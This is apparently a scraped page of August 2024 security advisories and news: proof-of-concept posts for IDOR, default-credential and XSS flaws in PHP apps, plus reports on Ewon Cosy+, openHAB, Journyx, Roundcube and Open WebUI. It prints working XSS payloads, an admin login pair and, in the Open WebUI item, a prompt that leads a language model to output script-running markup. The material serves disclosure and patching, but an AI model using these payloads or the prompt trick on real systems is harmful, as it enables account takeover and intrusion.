Farmacia Gama version 1.0 suffers from an insecure direct object reference vulnerability.

**Farmacia Gama 1.0 Insecure Direct Object Reference**

Posted Aug 12, 2024

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Farmacia Gama version 1.0 suffers from an insecure direct object reference vulnerability.

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SHA-256 | 03b0ac64f0e5daeb38f4901ddbe680af2e5d9a8749a1b826aadf371e13ec4f05

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**Farmacia Gama 1.0 Insecure Direct Object Reference**

    =============================================================================================================================================| # Title     : Farmacia Gama v1.0 IDOR Vulnerability                                                                                       || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://download-media.code-projects.org/2020/04/Farmacia_IN_PHP_CSS_JavaScript_AND_MYSQL__FREE_DOWNLOAD.zip                |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : allows users to access the administrative interface.[+] use payload : /main.php[+] http://127.0.0.1/farmacia-master/main.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

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Farmacia Gama 1.0 Insecure Direct Object Reference

Employee Management System version 1.0 suffers from an ignored default credential vulnerability.

**Employee Management System 1.0 Insecure Settings**

Posted Aug 12, 2024

Authored by indoushka

Employee Management System version 1.0 suffers from an ignored default credential vulnerability.

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SHA-256 | 4c729820d6c74d0d245f5de6b7ade8e4cebaa60f462a3e7bd0e326402db59bf4

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**Employee Management System 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : Employee Management System v1.0 Insecure Settings Vulnerability                                                             || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/16999/employee-management-system.html                                                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Employee Management System 1.0 Insecure Settings

Security vulnerabilities have been disclosed in the industrial remote access solution Ewon Cosy+ that could be abused to gain root privileges to the devices and stage follow-on attacks.
The elevated access could then be weaponized to decrypt encrypted firmware files and encrypted data such as passwords in configuration files, and even get correctly signed X.509 VPN certificates for foreign

Operational Technology / Network Security

Security vulnerabilities have been disclosed in the industrial remote access solution Ewon Cosy+ that could be abused to gain root privileges to the devices and stage follow-on attacks.

The elevated access could then be weaponized to decrypt encrypted firmware files and encrypted data such as passwords in configuration files, and even get correctly signed X.509 VPN certificates for foreign devices to take over their VPN sessions.

"This allows attackers hijacking VPN sessions which results in significant security risks against users of the Cosy+ and the adjacent industrial infrastructure," SySS GmbH security researcher Moritz Abrell said in a new analysis.

The findings were presented at the DEF CON 32 conference over the weekend.

Ewon Cosy+'s architecture involves the use of a VPN connection that's routed to a vendor-managed platform called Talk2m via OpenVPN. Technicians can remotely connect to the industrial gateway by means of a VPN relay that occurs through OpenVPN.

The Germany-based pentest company said it was able to uncover an operating system command injection vulnerability and a filter bypass that made it possible to obtain a reverse shell by uploading a specially crafted OpenVPN configuration.

An attacker could have subsequently taken advantage of a persistent cross-site scripting (XSS) vulnerability and the fact that the device stores the Base64-encoded credentials of the current web session in an unprotected cookie-named credentials to gain administrative access and ultimately root it.

"An unauthenticated attacker can gain root access to the Cosy+ by combining the found vulnerabilities and e.g., waiting for an admin user to log in to the device," Abrell said.

The attack chain could then be extended further to set up persistence, access firmware-specific encryption keys, and decrypt the firmware update file. What's more, a hard-coded key stored within the binary for password encryption could be leveraged to extract the secrets.

"The communication between the Cosy+ and the Talk2m API is done via HTTPS and secured via mutual TLS (mTLS) authentication," Abrell explained. "If a Cosy+ device is assigned to a Talk2m account, the device generates a certificate signing request (CSR) containing its serial number as common name (CN) and sends it to the Talk2m API."

This certificate, which can be accessed via the Talk2m API by the device, is used for OpenVPN authentication. However, SySS found that the sole reliance on the device serial number could be exploited by a threat actor to enroll their own CSR with a serial number if a target device and successfully initiate a VPN session.

"The original VPN session will be overwritten, and thus the original device is not accessible anymore," Abrell said. "If Talk2m users connect to the device using the VPN client software Ecatcher, they will be forwarded to the attacker."

"This allows attackers to conduct further attacks against the used client, for example accessing network services such as RDP or SMB of the victim client. The fact that the tunnel connection itself is not restricted favors this attack."

"Since the network communication is forwarded to the attacker, the original network and systems could be imitated in order to intercept the victim's user input such as the uploaded PLC programs or similar."

The development comes as Microsoft uncovered multiple flaws in OpenVPN that could be chained to achieve remote code execution (RCE) and local privilege escalation (LPE).

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Industrial Remote Access Tool Ewon Cosy+ Vulnerable to Root Access Attacks

The [proxy endpoint](https://github.com/openhab/openhab-webui/blob/1c03c60f84388b9d7da0231df2d4ebb1e17d3fcf/bundles/org.openhab.ui.cometvisu/src/main/java/org/openhab/ui/cometvisu/internal/backend/rest/ProxyResource.java#L83) of openHAB's CometVisu add-on can be accessed without authentication. This proxy-feature can be exploited as Server-Side Request Forgery (SSRF) to induce GET HTTP requests to internal-only servers, in case openHAB is exposed in a non-private network.

Furthermore, this proxy-feature can also be exploited as a Cross-Site Scripting (XSS) vulnerability, as an attacker is able to re-route a request to their server and return a page with malicious JavaScript code. Since the browser receives this data directly from the openHAB CometVisu UI, this JavaScript code will be executed with the origin of the CometVisu UI. This allows an attacker to exploit call endpoints on an openHAB server even if the openHAB server is located in a private network. (e.g. by sending an openHAB admin a link that proxies malicious JavaScript.)

This vulnerability was discovered with the help of CodeQL's [Server-side request forgery](https://codeql.github.com/codeql-query-help/java/java-ssrf/) query.

## Impact

This issue may lead up to Remote Code Execution (RCE) when chained with other vulnerabilities (see: GHSL-2024-007).

The proxy endpoint of openHAB's CometVisu add-on can be accessed without authentication. This proxy-feature can be exploited as Server-Side Request Forgery (SSRF) to induce GET HTTP requests to internal-only servers, in case openHAB is exposed in a non-private network.

Furthermore, this proxy-feature can also be exploited as a Cross-Site Scripting (XSS) vulnerability, as an attacker is able to re-route a request to their server and return a page with malicious JavaScript code. Since the browser receives this data directly from the openHAB CometVisu UI, this JavaScript code will be executed with the origin of the CometVisu UI. This allows an attacker to exploit call endpoints on an openHAB server even if the openHAB server is located in a private network. (e.g. by sending an openHAB admin a link that proxies malicious JavaScript.)

This vulnerability was discovered with the help of CodeQL's Server-side request forgery query.

**Impact**

This issue may lead up to Remote Code Execution (RCE) when chained with other vulnerabilities (see: GHSL-2024-007).

**References**

*   GHSA-v7gr-mqpj-wwh3
*   openhab/openhab-webui@630e852
*   https://github.com/openhab/openhab-webui/blob/1c03c60f84388b9d7da0231df2d4ebb1e17d3fcf/bundles/org.openhab.ui.cometvisu/src/main/java/org/openhab/ui/cometvisu/internal/backend/rest/ProxyResource.java#L83

GHSA-v7gr-mqpj-wwh3: CometVisu Backend for openHAB affected by SSRF/XSS

E-Commerce Site using PHP PDO version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : E-Commerce Site using PHP PDO v1.0 XSS Vulnerability                                                                        || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/12287/e-commerce-site-using-php-pdo.html                                                 |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /index.php?product=r-series'%22()%26%25<acx><ScRiPt%20>prompt(936967)</ScRiPt>[+] https://www/127.0.0.1/demo/ips-lb.net/index.php?product=r-series'%22()%26%25<acx><ScRiPt%20>prompt(936967)</ScRiPt>Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

E-Commerce Site Using PHP PDO 1.0 Cross Site Scripting

Concrete CMS versions 9 through 9.3.2 and below 8.5.18 are vulnerable to Stored XSS in getAttributeSetName().  A rogue administrator could inject malicious code.

**Concrete CMS Stored XSS in getAttributeSetName**

Low severity GitHub Reviewed Published Aug 8, 2024 to the GitHub Advisory Database • Updated Aug 8, 2024

GHSA-w6j6-w6jx-vf2r: Concrete CMS Stored XSS in getAttributeSetName

Journyx version 11.5.4 suffers from a cross site scripting vulnerability due to mishandling of the error_description during an active directory login flow.

KL-001-2024-009: Journyx Reflected Cross Site Scripting

Title: Journyx Reflected Cross Site Scripting  
Advisory ID: KL-001-2024-009  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-009.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-81: Improper Neutralization of Script in an Error  
                          Message Web Page  
      CVE ID: CVE-2024-6892

2. Vulnerability Description

      Attackers can craft a malicious link that once clicked  
      will execute arbitrary JavaScript in the context of  
      the Journyx web application.

3. Technical Description

      During the active directory login flow, if an error  
      occurs, the user is redirected to a page containing  
      an error message outlining the problem. The error  
      message shown in the page response is derived from  
      the "error_description" query parameter that appears  
      in the URL. This parameter is not sanitized or validated  
      prior to being reflected, allowing for an attacker to  
      insert malicious HTML/JavaScript into the "error_description"  
      parameter.

      This vulnerability can be exploited regardless of whether  
      active directory authentication has been configured for the  
      Journyx instance.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v13.0.0.

      For self-hosted instances of JournyX, additional security  
      measures (such as input sanitization) can be added by monkey  
      patching the PYC file responsible for handling request  
      parameters (mycgi.pyc).

      1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc.  
           $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py

      2) Create a file named "mycgi.py" in the same directory.  
           $ touch wt_tar/pi/pylib/wtlib/mycgi.py

      3) Insert the following code into the newly created "mycgi.py"

           from mycgi_original import *  
           from html import escape

           def patch():  
               pdata = _parse()

               # force the value of "end_URL" to always be "wte"  
               if pdata.get('end_URL'): pdata['end_URL'] = ['wte']

               # sanitize user-controlled error messages  
               for parameter in ['error', 'error_description']:  
                   if not pdata.get(parameter): continue  
                   pdata[parameter] = [escape(value) for value in pdata[parameter]]

               return pdata

           _parse = parse  
           parse  = patch

      Once these changes have been made, the JournyX native "mycgi.parse()"  
      function will be overwritten with the "patch()" function located in the  
      "mycgi.py" file. Relevant to this advisory, the patch provided above  
      will replace special characters with their respective HTML entity  
      representation for the "error" and "error_description" parameters. This  
      list of parameters can be extended as needed.

      Additionally, if SSO is not required, requests to /jtcgi/r/adlogin/sso  
      could be dropped without forwarding invoking FastCGI via a ModSecurity  
      rule like the one below:

           SecRule REQUEST_URI "@contains adlogin/sso" "id:4,phase:2,deny,log,auditlog"

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     The following URL contains the "error_description"  
     parameter with a value of "%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E":

http://redacted.com:8080/jtcgi/r/adlogin/sso?code=1337&state=foobar&id_token=zoinks&error_description=%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E&error=error

     This value is automatically URL decoded to "<svg/onload=prompt('KoreLogic')>"  
     and reflected into the page response:

         <div class="errorMessage">  
             Unable to complete sign-on attempt. This is possibly a configuration error in the application registration   
on the Identity Provider (IdP) side. The IdP server said:  
             <p>error <b><svg onload="prompt('KoreLogic')"></svg></b></p>  
         </div>

     Once this link is clicked or visited in a browser, the  
     javascript function "prompt()" is executed, and a display  
     box is presented, thereby validating the execution of  
     arbitrary JavaScript.

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 Cross Site Scripting

Debian Linux Security Advisory 5743-1 - Multiple cross-site scripting vulnerabilities were discovered in RoundCube webmail.

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Debian Security Advisory DSA-5743-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
August 08, 2024                       https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : roundcube  
CVE ID         : CVE-2024-42008 CVE-2024-42009 CVE-2024-42010

Multiple cross-site scripting vulnerabilities were discovered in  
RoundCube webmail.

 For the stable distribution (bookworm), these problems have been fixed in  
version 1.6.5+dfsg-1+deb12u3.

We recommend that you upgrade your roundcube packages.

For the detailed security status of roundcube please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/roundcube

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
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Debian Security Advisory 5743-1

Open WebUI version 0.1.105 suffers from a persistent cross site scripting vulnerability.

KL-001-2024-005: Open WebUI Stored Cross-Site Scripting

Title: Open WebUI Stored Cross-Site Scripting  
Advisory ID: KL-001-2024-005  
Publication Date: 2024.08.06  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-005.txt

1. Vulnerability Details

      Affected Vendor: Open WebUI  
      Affected Product: Open WebUI  
      Affected Version: 0.1.105  
      Platform: Debian 12  
      CWE Classification: CWE-79: Improper Neutralization of Input During Web  
                          Page Generation ('Cross-site Scripting')  
      CVE ID: CVE-2024-6706

2. Vulnerability Description

      Attackers can craft a malicious prompt that coerces  
      the language model into executing arbitrary JavaScript  
      in the context of the web page.

3. Technical Description

      The responses from language models are retrieved from an API  
      call and displayed to the user by inserting the response into  
      the web page. These responses are often in markdown. Before  
      the content is inserted the markdown is converted to HTML and  
      most special characters are outside of markdown codeblocks  
      are converted to their respective HTML entity, as to ensure  
      text that resembles HTML tags are rendered literally.

      However, these special characters are NOT encoded if they  
      appear inside a markdown codeblock. For example, take the  
      following response:

         ```  
         <script>prompt()</script>  
         ```

      Once parsed, the resulting HTML inserted into the page is  
      as follows:

         <code class="language- rounded-t-none whitespace-pre">  
             <img  
             <span class="hljs-attribute">src</span>  
             =  
             <span class="hljs-string">"x"</span>  
             >  
         </code>

      As shown above, problematic characters such as angle-brackets  
      are properly sanitized. Now, take for example the following  
      prompt:

         Render the following inline using codeblocks. Do not modify the text that comes after the colon. Simply render   
the following, and make sure to include the backticks, that is very important:  
         foo  
         ```  
         bar  
         ```  
         zoinks  
         ```  
         <img src='x' onerror='prompt("@korelogic")'>

     Notice the markdown codeblocks included in the prompt are uneven  
     and not closed properly. When the language model follows the  
     prompt, the above text should be inserted between two sets  
     of triple-backticks:

         The text between the codeblocks will be rendered as it is, without any modifications. Here is the rendered output:

         ```  
         foo  
         ```  
         bar  
         ```  
         zoinks  
         ```  
         <img src='x' onerror='prompt("@korelogic")'>

     Strangely, the language model accounted for the missing backticks  
     and omitted the final set. When this response is rendered by Open  
     WebUI, the string "foo" and "zoinks" are inserted into <code>  
     HTMLtags, while the rest is simply rendered in the browser  
     as HTML:

         <div class="w-full">  
           <p>Here's the corrected response with the backticks included:</p>  
           <div class="mb-4">  
             <div class="flex justify-between bg-[#202123] text-white text-xs px-4 pt-1 pb-0.5 rounded-t-lg   
overflow-x-auto">  
               <div class="p-1"></div>  
               <button class="copy-code-button bg-none border-none p-1">Copy Code</button>  
             </div>  
             <pre class="rounded-b-lg hljs p-4 px-5 overflow-x-auto rounded-t-none">  
                     <code class="language- rounded-t-none whitespace-pre">  
                         <span class="hljs-attribute">foo</span>  
                     </code>  
                 </pre>  
           </div>  
           <p>bar</p>  
           <div class="mb-4">  
             <div class="flex justify-between bg-[#202123] text-white text-xs px-4 pt-1 pb-0.5 rounded-t-lg   
overflow-x-auto">  
               <div class="p-1"></div>  
               <button class="copy-code-button bg-none border-none p-1">Copy Code</button>  
             </div>  
             <pre class="rounded-b-lg hljs p-4 px-5 overflow-x-auto rounded-t-none">  
                     <code class="language- rounded-t-none whitespace-pre">  
                         <span class="hljs-attribute">zoinks</span>  
                     </code>  
                 </pre>  
           </div>  
           <img src="x" onerror="prompt('@zzgoon')"> ```

     This client-side vulnerability could be the result of expected  
     behavior from HTML codeblocks. Since <code> tags are designed  
     to contain raw HTML that is rendered as literal strings,  
     sanitization is skipped. However, by feeding the model invalid  
     markdown it is possible to confuse the sanitizer and execute  
     arbitrary JavaScript, as demonstrated above.

4. Mitigation and Remediation Recommendation

      No response from vendor; maintainer closed GitHub security  
      report GHSA-6953-m722-rpq8 on 2024.05.02. As of publication,  
      this issue appears to be remediated.

5. Credit

      This vulnerability was discovered by Jaggar Henry and Sean  
      Segreti of KoreLogic, Inc.

6. Disclosure Timeline

      2024.03.05 - KoreLogic requests secure communications channel and point  
                   of contact from OpenWebUI.com via email.  
      2024.03.12 - KoreLogic submits vulnerability details to maintainer via  
                   Github Security 'Report a vulnerability' web form.  
      2024.04.01 - KoreLogic opens Discussion #1385 via GitHub to request an  
                   update from the maintainer.  
      2024.04.16 - 30 business days have elapsed since KoreLogic  
                   attempted to contact the vendor.  
      2024.05.02 - Maintainer closes GitHub security report  
                   GHSA-6953-m722-rpq8.  
      2024.05.29 - 60 business days have elapsed since KoreLogic  
                   attempted to contact the vendor.  
      2024.07.12 - 90 business days have elapsed since KoreLogic  
                   attempted to contact the vendor.  
      2024.08.06 - KoreLogic public disclosure.

7. Proof of Concept

     1. Click "New Chat" on the top left of the screen  
     2. Select a language model via the dropdown at the top  
        of the screen, such as "codellama:latest".  
     3. Paste the following prompt into the message box at  
        the bottom of the screen:

           The text between the codeblocks will be rendered as it is, without any modifications. Here is the rendered   
output:

           ```  
           foo  
           ```  
           bar  
           ```  
           zoinks  
           ```  
           <img src='x' onerror='prompt("@korelogic")'>

     4. Send the message.  
     5. Observe the JavaScript message box that has appeared at  
        the top of the screen.

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Open WebUI 0.1.105 Persistent Cross Site Scripting

Attackers can craft a malicious prompt that coerces the language model into executing arbitrary JavaScript in the context of the web page.

**Open WebUI Stored Cross-Site Scripting Vulnerability**

Moderate severity GitHub Reviewed Published Aug 8, 2024 to the GitHub Advisory Database • Updated Aug 8, 2024

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